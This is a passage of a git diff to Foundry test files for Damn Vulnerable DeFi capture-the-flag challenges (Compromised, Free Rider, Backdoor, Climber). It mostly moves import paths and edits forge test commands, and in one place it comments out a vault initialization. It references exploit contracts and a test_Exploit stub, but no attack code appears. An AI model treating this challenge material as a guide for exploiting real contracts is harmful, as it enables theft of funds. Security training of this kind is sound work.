"@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; import { DamnValuableTokenSnapshot } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol"; import { Exchange, TrustfulOracle, DamnValuableNFT, TrustfulOracleInitializer -} from "@contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised/07.Compromised.sol"; +} from "@contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol"; /* - https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ - forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol -vvvvv */ diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol index f9dadad..3e3e276 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol @@ -7,22 +7,21 @@ import { PRBTest } from "@dev/prb-test/src/PRBTest.sol"; import { Vm } from "@dev/forge-std/src/Vm.sol"; import { Array } from "@contracts/Utils/Array.sol"; -import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; import { FreeRiderNFTMarketplace, FreeRiderRecovery, FreeRiderHack, IWETH -} from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol"; +} from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; -import { WETH } from "@solmate/tokens/WETH.sol"; /* - forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -f localhost -vvvvv + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv */ contract Challenge_10_Free_Rider_Test is PRBTest { diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol index 4f7daf3..00d3b5c 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol @@ -3,11 +3,13 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; -import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; -import { WalletRegistry, BackdoorHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol"; + import { GnosisSafe } from "@gnosis.pm/safe-contracts-v1.3.0/contracts/GnosisSafe.sol"; import { GnosisSafeProxyFactory } from "@gnosis.pm/safe-contracts-v1.3.0/contracts/proxies/GnosisSafeProxyFactory.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { WalletRegistry, BackdoorHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol"; + /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol -vvvvv */ diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol index 086dec3..0519ffd 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol @@ -4,7 +4,7 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; -import { ClimberVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol"; +import { ClimberVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol -vvvvv @@ -35,7 +35,7 @@ contract Climber_12_Test is Test { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ token = new DamnValuableToken(); valut = new ClimberVault(); - valut.initialize(deployer, proposer, sweeper); + // valut.initialize(deployer, proposer, sweeper); } function test_Exploit() public {